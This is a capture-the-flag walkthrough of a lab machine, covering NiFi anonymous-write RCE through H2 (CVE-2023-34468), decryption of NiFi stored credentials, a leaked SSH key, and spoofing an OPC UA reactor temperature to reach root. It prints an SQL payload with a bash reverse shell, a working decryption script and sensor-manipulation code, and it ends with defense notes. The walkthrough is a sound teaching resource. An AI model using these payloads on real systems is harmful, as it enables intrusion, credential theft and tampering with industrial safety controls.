Recon
Port scan — minimalist attack surface
The target greets us with two ports. Just two. Whoever configured this box either read a hardening guide or was enjoying the philosophical exercise of minimalism. Either way, with no credentials for SSH, the web stack is the only game in town.
shell
nmap -p- --min-rate 5000 -sV helix.htb
output
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
shell
echo "10.129.9.71 helix.htb" | sudo tee -a /etc/hosts
Virtual host enumeration
The main site on helix.htb is static and completely uninteresting — the kind of landing page that says "this box has more going on behind the curtain." nginx's vhost routing means multiple backends can sit behind one IP, each responding to a different Host: header. Time to enumerate.
shell
gobuster vhost -u http://helix.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
output
Found: flow.helix.htb Status: 200 [Size: 1068]
flow.helix.htb — the word "flow" should immediately ring a bell for anyone who has spent time in the data engineering / middleware space. Let's see what's listening.
shell
echo "10.129.9.71 flow.helix.htb" | sudo tee -a /etc/hosts
whatweb http://flow.helix.htb/nifi/
output
[200 OK] Title[NiFi], nginx/1.18.0, JQuery, PasswordField ...
Apache NiFi. A dataflow automation platform. In production environments it orchestrates ETL pipelines, moves data between systems, and — if misconfigured — hands root to the first person who asks nicely via its REST API.
Host header. The same IP can serve completely different applications to different hostnames. Without this step, flow.helix.htb and its entire attack surface would remain invisible.
CVE-2023-34468 — NiFi Anonymous Write → H2 RCE
Checking access
NiFi exposes a REST API that, before we even think about exploitation, tells us exactly how much rope we have to hang ourselves with:
shell
curl -s http://flow.helix.htb/nifi-api/flow/current-user | jq
output — the API that does too much talking
{
"identity": "anonymous",
"anonymous": true,
"controllerPermissions": {
"canRead": true,
"canWrite": true
}
}
Anonymous. canWrite: true. This is the misconfiguration. Any unauthenticated client can create processors and controller services — the building blocks of NiFi's data flows. And where there's a controllable JDBC URL and an embedded H2 driver, there's RCE.
The vulnerability chain — how it actually works
CVE-2023-34468 is not a single bug but a combination of two completely intended features that, together, become unintended. Neither component is broken in isolation.
RUNSCRIPT FROM '<url>' fetches and executes SQL. H2 ships with a SQL command that downloads a script from an arbitrary URL and runs it. No sandboxing. No allowlist. If you can issue a query, you can make H2 phone home to your server. The driver (h2-2.1.214.jar) is already bundled in NiFi's lib directory — no upload required.CREATE ALIAS embeds Java directly in SQL. H2 supports user-defined functions written in Java inline. The syntax is CREATE ALIAS name AS $$ java code $$. Inside that Java code, Runtime.getRuntime().exec() is fair game. SQL → Java → OS.ExecuteSQL processor issues queries through the connection pool. Set the query to RUNSCRIPT FROM 'http://ATTACKER/rce.sql', start the processor, and the call stack becomes: NiFi → ExecuteSQL → DBCPConnectionPool → H2 → RUNSCRIPT → HTTP fetch → rce.sql → CREATE ALIAS → exec() → reverse shell.The SQL payload served by the PoC's built-in HTTP server:
rce.sql — delivered over HTTP, executed by H2
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/LHOST/LPORT 0>&1');
Exploitation — Running the PoC
The public PoC by sbouabid-sec automates the entire chain. Internally it runs a Python HTTPServer in a daemon thread to serve rce.sql, then drives the NiFi API through six steps. Here's the breakdown of what the code actually does:
| Step | Method / Endpoint | What it does |
|---|---|---|
check_access | GET /nifi-api/flow/current-user | Confirms canWrite: true, aborts if not |
get_root_pg | GET /nifi-api/flow/process-groups/root | Retrieves the root process group ID — the container for new components |
create_controller_service | POST /nifi-api/process-groups/{pg}/controller-services | Creates DBCPConnectionPool with jdbc:h2:mem:tempdb pointing at the bundled H2 driver |
enable_controller_service | PUT /nifi-api/controller-services/{id}/run-status | Sets state to ENABLED — NiFi won't let processors use a disabled service |
create_processor | POST /nifi-api/process-groups/{pg}/processors | Creates ExecuteSQL with query RUNSCRIPT FROM 'http://LHOST/rce.sql' |
trigger | PUT /nifi-api/processors/{id}/run-status | Sets processor to RUNNING — triggers the SQL execution chain |
shell — listener first, then exploit
nc -lvnp 7777
shell — fire
sudo python3 CVE-2023-34468_poc.py \
--target http://flow.helix.htb \
--lhost 10.10.14.214 \
--lport 7777
output
[*] Target: http://flow.helix.htb | LHOST: 10.10.14.214:7777 | HTTP: 80
[*] HTTP server up on :80
[*] Checking access...
[+] Identity: anonymous | Anonymous: True | canWrite: True
[+] Target is exploitable
[*] Getting root process group ID...
[+] PG ID: 73c3382f-...
[*] Creating DBCPConnectionPool...
[+] CS ID: a1b2c3d4-...
[*] Enabling controller service...
[+] Controller service enabled
[*] Creating ExecuteSQL processor...
[+] Processor ID: e5f6a7b8-...
[*] Starting processor...
[+] rce.sql delivered to target
[+] Processor running — waiting for shell on port 7777...
--http-port 8000 to avoid needing sudo entirely. The target just needs to reach whichever port you specify.
Shell stabilization
Raw reverse shells are painful — no arrow keys, no tab completion, Ctrl+C kills your session. Stabilize immediately:
shell — upgrade to interactive PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm
id
uid=998(nifi) gid=998(nifi) groups=998(nifi)
We are nifi. Not root, not operator — but we own the entire NiFi installation directory, and that turns out to matter a lot.
Post-Exploitation — Mining the NiFi Install
Configuration files worth reading
shell
cd /opt/nifi-1.21.0
ls -la conf/
Three files are interesting in any NiFi installation:
nifi.bootstrap.sensitive.key is empty; run.as=nifi. NiFi doesn't run as root, so there's no direct "NiFi → root" path through the service itself.single-user-provider is declared but Username/Password fields are blank. When blank, NiFi auto-generates credentials on first start and logs them. Checking the logs yields nothing — the generated password was never persisted in a readable way here.shell
grep -iE "sensitive" conf/nifi.properties
output
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl
nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256
Encrypted credential in flow.xml
NiFi stores its entire dataflow graph — processors, connections, controller services — in conf/flow.xml.gz. Among the components is a controller service named MaintenanceDB:
shell
gunzip -k conf/flow.xml.gz
grep -A5 -B5 "enc{" conf/flow.xml
output — excerpt from flow.xml
<property><name>Database User</name><value>operator</value></property>
<property><name>Password</name>
<value>enc{000db0a82c5e0aeb037a09dbe6ac59996f34415732cde10282bc1752f70da2e58da3b27232778f1c6fe1c6d2e66d053f9f13}</value>
</property>
The username is operator — same as an actual system user. The password is AES-GCM encrypted. But we have the key. Time to decrypt.
Decrypting NiFi Sensitive Properties
The algorithm — NIFI_PBKDF2_AES_GCM_256
NiFi's encryption scheme is documented in its source code (StandardPropertySecretKeyProvider, PBKDF2SecureHasher, KeyedCipherPropertyEncryptor). The relevant parameters for version 1.21.0:
"NiFi Static Salt". Because saltLength=0, the implementation falls back to this static value instead of a random per-encryption salt. This is why decryption is deterministic given just the master key — the static salt makes the derived key identical every time.enc{} is hex-encoded: [IV: 16 bytes][ciphertext][GCM tag: 16 bytes]."NiFi Static Salt" as the PBKDF2 salt, decryption fails with MAC check failed and looks impossible. This detail is buried in the source code. The MAC failure is cryptographic proof that every other combination of parameters is wrong — when it passes, you have the right salt.
Decryption script
python — decrypt_nifi.py
#!/usr/bin/env python3
import sys
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES # pip install pycryptodome
STATIC_SALT = b"NiFi Static Salt"
ITERATIONS = 160_000
DK_LEN, IV_LEN, TAG_LEN = 32, 16, 16
def decrypt(props_key, enc_value):
v = enc_value.strip()
if v.startswith("enc{") and v.endswith("}"):
v = v[4:-1]
raw = bytes.fromhex(v)
iv, body = raw[:IV_LEN], raw[IV_LEN:]
ct, tag = body[:-TAG_LEN], body[-TAG_LEN:]
key = pbkdf2_hmac("sha512", props_key.encode(), STATIC_SALT, ITERATIONS, DK_LEN)
return AES.new(key, AES.MODE_GCM, nonce=iv).decrypt_and_verify(ct, tag).decode()
if __name__ == "__main__":
print("[+] Decrypted:", decrypt(sys.argv[1], sys.argv[2]))
shell
python3 decrypt_nifi.py \
"TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl" \
"enc{000db0a82c5e0aeb037a09dbe6ac59996f34415732cde10282bc1752f70da2e58da3b27232778f1c6fe1c6d2e66d053f9f13}"
[+] Decrypted: R7qZ9L3xKM2W8pFYcA
The GCM tag passed decrypt_and_verify without raising an exception — that's a cryptographic guarantee the plaintext is correct. We have the MaintenanceDB database password.
Red Herring — The Password That Isn't
The obvious next move: try R7qZ9L3xKM2W8pFYcA as the system password for operator. The machine lures you here deliberately.
shell — the wall
su operator
Authentication failure
ssh [email protected]
Permission denied (publickey)
Neither works. The credential belongs to the database user operator inside MaintenanceDB — a MySQL/PostgreSQL credential, not a Unix login. /etc/passwd confirms that operator is a real system user with /bin/bash as their shell, but their authentication is key-based, not password-based.
Real Foothold — SSH Key in a Support Bundle
Going back to the filesystem: among the directories under /opt/nifi-1.21.0/ is one named support-bundles/. NiFi generates support bundles as diagnostic archives for troubleshooting. What belongs in a support bundle? Logs, thread dumps, configuration snapshots. What absolutely should not be in a support bundle? A private SSH key.
shell
ls -la /opt/nifi-1.21.0/support-bundles/
# drwxr-x--- owned by nifi — we can read this
find /opt/nifi-1.21.0/support-bundles/ -type f
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
output
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
A private Ed25519 key backed up as .bak. The .bak extension is cosmetic — the file contains a standard PEM-encoded OpenSSH private key. Copy the contents, fix the permissions, and connect.
attacker machine
# Paste key contents into a local file
nano operator_id_ed25519
chmod 600 operator_id_ed25519 # SSH refuses keys with loose permissions
head -1 operator_id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
ssh2john operator_id_ed25519 > key.hash && john --wordlist=rockyou.txt key.hash. This key has no passphrase — straight through.
User Flag
shell
ssh -i operator_id_ed25519 [email protected]
operator@helix:~$ id
uid=1001(operator) gid=1001(operator) groups=1001(operator)
operator@helix:~$ cat user.txt
HTB{...}
User flag captured. The attack surface for the next phase is now fully visible from inside the box.
Privilege Escalation — OPC UA Reactor Safety Logic
What's on the inside
A quick look at the home directory reveals more than just a flag:
shell
operator@helix:~$ ls -la
total 968
-rw------- 1 operator operator 920611 Jan 26 16:15 'control systems diagram.png'
-rw-rw-r-- 1 operator operator 28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'
-rw-r----- 1 root operator 33 May 29 10:45 user.txt
A control systems diagram and an operator guide. The PDF is locked.
Cracking the PDF password
Exfiltrate both files using a quick Python HTTP server and crack the PDF password with john:
shell — on target
python3 -m http.server
# Serving HTTP on 0.0.0.0 port 8000
shell — on attacker
wget http://helix.htb:8000/"Operator Control & Safety Guide.pdf"
wget http://helix.htb:8000/"control systems diagram.png"
shell — crack PDF password
pdf2john "Operator Control & Safety Guide.pdf" > hash
john --wordlist=~/Downloads/rockyou.txt hash
output
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 14 OpenMP threads
Press 'q' or Ctrl-C to abort...
operator1 (Operator Control & Safety Guide.pdf)
1g 0:00:00:59 DONE
Password: operator1. Rockyou strikes again — as reliable as a 4 AM pager alert and roughly as welcome. The PDF describes the reactor control system, the OPC UA address space, and crucially, the conditions required to open a Privileged Maintenance Window.
Internal services — SSH tunnel
Socket inspection from inside the box reveals two services that were invisible during the initial nmap scan:
shell
ss -tlnp 2>/dev/null
output
LISTEN 0 128 127.0.0.1:8081 *:* # Reactor HMI (web interface)
LISTEN 0 128 127.0.0.1:4840 *:* # OPC UA server
Both bind to loopback only. We need an SSH tunnel to reach them from our machine:
shell — port-forward both services
ssh -i operator_id_ed25519 -fN \
-L 4840:127.0.0.1:4840 \
-L 8081:127.0.0.1:8081 \
[email protected]
shell — confirm OPC UA is reachable
nmap -p 4840 -sC 127.0.0.1
output
PORT STATE SERVICE
4840/tcp open opcua-tcp
OPC UA — address space enumeration (deep_recon.py)
OPC UA (IEC 62541) is the industrial protocol used in SCADA and ICS environments for reading sensor values and issuing control commands. The server exposes a hierarchical address space of nodes — each with a numeric ID and a readable value.
The deep_recon.py script (github.com/cybermaksx/HTB-Helix-OPC-UA-PoC) connects anonymously and recursively walks the Plant object tree, printing every node's name, ID, current value, and type:
python — deep_recon.py (simplified)
from opcua import Client
def browse_node(node, level=0):
for child in node.get_children():
name = child.get_display_name().Text
nodeid = child.nodeid
val_str = "N/A"
try: val_str = str(child.get_value())
except: pass
print(f"{' ' * level}Name: {name:<30} | ID: {str(nodeid):<25} | Val: {val_str}")
browse_node(child, level + 1)
client = Client("opc.tcp://127.0.0.1:4840")
client.connect()
browse_node(client.get_node("ns=2;i=1")) # Plant root
output — mapped address space
Name: Plant | ID: ns=2;i=1
Name: Reactor | ID: ns=2;i=2
Name: Temperature | ID: ns=2;i=4 | Val: 283.2 | Type: float
Name: Pressure | ID: ns=2;i=5 | Val: 68.1 | Type: float
Name: CalibrationOffset | ID: ns=2;i=6 | Val: 0.0 | Type: float
Name: Safety | ID: ns=2;i=7
Name: TripActive | ID: ns=2;i=8 | Val: False | Type: bool
Name: EmergencyCooling | ID: ns=2;i=9 | Val: False | Type: bool
Name: Control | ID: ns=2;i=11
Name: Mode | ID: ns=2;i=12 | Val: NORMAL | Type: str
Name: TestOverride | ID: ns=2;i=13 | Val: False | Type: bool
sudo -l — the hidden door
Before touching any OPC UA node, run the classic post-login check. sudo -l reveals something that was sitting there the whole time, waiting for the right conditions:
shell
operator@helix:~$ sudo -l
output
Matching Defaults entries for operator on helix:
env_reset, mail_badpass, ...
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
A root NOPASSWD binary. helix-maint-console can be run as root without a password. Running it immediately, though, outputs an error — the console checks whether the Privileged Maintenance Window is currently open and refuses to proceed if it isn't. The reactor needs to be in a critical state first. That's what the OPC UA manipulation is for.
helix-maint-console is gated behind the reactor state. If you run it before the maintenance window is open, it rejects you. The OPC UA temperature manipulation is the prerequisite — not the exploit itself, but the key that unlocks the exploit.
The exploitation strategy — OPC UA CalibrationOffset
The operator guide (password: operator1) explains the logic: the Privileged Maintenance Window opens when Temperature ≥ 295°C or Pressure ≥ 73 bar, but only if TripActive is False. In NORMAL mode, the PLC enforces operational limits and ignores CalibrationOffset. In MAINTENANCE mode with TestOverride=True, the offset biases the reported temperature — without actually heating anything. We're lying to the sensor layer, and the safety controller believes every word.
Step 1 — OPC UA address space enumeration (deep_recon.py)
OPC UA (IEC 62541) is the industrial protocol used in SCADA/ICS environments for reading sensors and issuing control commands. The deep_recon.py script from cybermaksx/HTB-Helix-OPC-UA-PoC connects anonymously and recursively walks the Plant object tree, printing every node's name, ID, current value, and type:
python — deep_recon.py (simplified)
from opcua import Client
def browse_node(node, level=0):
for child in node.get_children():
name = child.get_display_name().Text
nodeid = child.nodeid
val_str = "N/A"
try: val_str = str(child.get_value())
except: pass
print(f"{' ' * level}Name: {name:<30} | ID: {str(nodeid):<25} | Val: {val_str}")
browse_node(child, level + 1)
client = Client("opc.tcp://127.0.0.1:4840")
client.connect()
browse_node(client.get_node("ns=2;i=1")) # Plant root
output — full address space map
Name: Plant | ID: ns=2;i=1
Name: Reactor | ID: ns=2;i=2
Name: Temperature | ID: ns=2;i=4 | Val: 283.2 | Type: float
Name: Pressure | ID: ns=2;i=5 | Val: 68.1 | Type: float
Name: CalibrationOffset | ID: ns=2;i=6 | Val: 0.0 | Type: float
Name: Safety | ID: ns=2;i=7
Name: TripActive | ID: ns=2;i=8 | Val: False | Type: bool
Name: EmergencyCooling | ID: ns=2;i=9 | Val: False | Type: bool
Name: Control | ID: ns=2;i=11
Name: Mode | ID: ns=2;i=12 | Val: NORMAL | Type: str
Name: TestOverride | ID: ns=2;i=13 | Val: False | Type: bool
The three nodes that matter: Mode (ns=2;i=12), TestOverride (ns=2;i=13), and CalibrationOffset (ns=2;i=6). All three are writable by anonymous clients — because why would a reactor have access control on its safety-adjacent parameters?
Step 2 — raise the temperature (final_push.py)
The final_push.py script from cybermaksx/HTB-Helix-OPC-UA-PoC sets the mode to MAINTENANCE, enables TestOverride, then walks CalibrationOffset up in 0.5 steps — polling the reported temperature until it crosses 295°C. It starts at 9.0 because manually raising to that point first, then running the script to finish the job, avoids unnecessarily long wait times if reconnection is needed.
python — final_push.py annotated
from opcua import Client, ua
client = Client("opc.tcp://127.0.0.1:4840", timeout=20000) # longer timeout vs connection drops
client.connect()
# Prerequisite: MAINTENANCE mode + TestOverride lets CalibrationOffset take effect
client.get_node("ns=2;i=12").set_value("MAINTENANCE")
client.get_node("ns=2;i=13").set_value(True)
current_offset = 9.0 # resume near the plateau, avoid starting from 0
while True:
try:
temp = client.get_node("ns=2;i=4").get_value()
except:
# reconnect logic — high-load polling can drop the session
client.disconnect(); client.connect()
continue
if temp >= 295.0:
print("[+] We got this! Temperature >= 295°C.")
break
if temp < 295.0 - 0.5:
current_offset += 0.5
# ua.Variant(Double) required — Python float causes BadTypeMismatch
client.get_node("ns=2;i=6").set_value(
ua.Variant(current_offset, ua.VariantType.Double)
)
float to a node that expects a Double fails with BadTypeMismatch. The fix is always ua.Variant(value, ua.VariantType.Double). This trips up everyone who hasn't been burned by OPC UA type strictness before — which is most people, because most people haven't touched OPC UA before.
shell — run it
python3 final_push.py
output
[*] Connecting to opc.tcp://127.0.0.1:4840...
[+] Connected!
[*] Continuing with Offset: 9.0. Goal: 295.0°C
Temp: 283.20°C | Offset: 9.00
Temp: 284.10°C | Offset: 9.50
Temp: 285.00°C | Offset: 10.00
Temp: 285.90°C | Offset: 10.50
...
Temp: 293.60°C | Offset: 19.50 # briefly plateaued here — step held at 0.5
Temp: 294.50°C | Offset: 20.50
Temp: 295.10°C | Offset: 21.00
[+] We got this! Temperature >= 295°C.
[*] Check web interface!
Temperature is reported at 295°C. TripActive is still False — we never touched EmergencyCooling, so the safety system sees no reason to panic. The HMI on port 8081 flips the Privileged Maintenance Window status to OPEN.
Step 3 — helix-maint-console → root
Now that the maintenance window is open, the sudo rule becomes exploitable. helix-maint-console checks the window status internally — when it's open, the console runs as root and grants a privileged shell. When it's closed, it prints an error and exits. The OPC UA manipulation was the gating condition the entire time.
shell — on the target (SSH session as operator)
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
output
[ Helix Maintenance Console ]
Maintenance window: OPEN
Authenticating as: root
root@helix:~# id
uid=0(root) gid=0(root) groups=0(root)
root@helix:~# cat /root/root.txt
HTB{...}
sudo helix-maint-console → root shell.
Full Attack Chain
Key Takeaways
"NiFi Static Salt" — a constant. Once you know the sensitive.props.key and this salt, every encrypted value in every flow.xml using the same installation is decryptable. The algorithm is fine; the implementation choice is the vulnerability.support-bundles/ is worth reading — even if the extension says .bak.BadTypeMismatch from an OPC UA server means you're writing a Python float where a Double variant is expected. Always use ua.Variant(value, ua.VariantType.Double) when writing to nodes on strict servers. The error message is cryptic but the fix is mechanical.helix-maint-console was a root shell sitting in plain sight in sudo -l — but only executable after the reactor's maintenance window opened. The sudo rule was always there; the OPC UA manipulation was the key to unlocking it. Always run sudo -l immediately after gaining shell access, even if the binary looks useless without context.Defense Notes
nifi.properties: set nifi.security.allow.anonymous.authentication=false. Require authentication for all API calls.nifi.properties can decrypt all stored credentials. Vault integration (HashiCorp Vault, AWS Secrets Manager) removes the key from the filesystem entirely.~/.ssh/, key files, and any material under .ssh/ paths. Rotate any key that made it into a bundle — assume it's compromised.CalibrationOffset and Mode should not be writable by anonymous clients.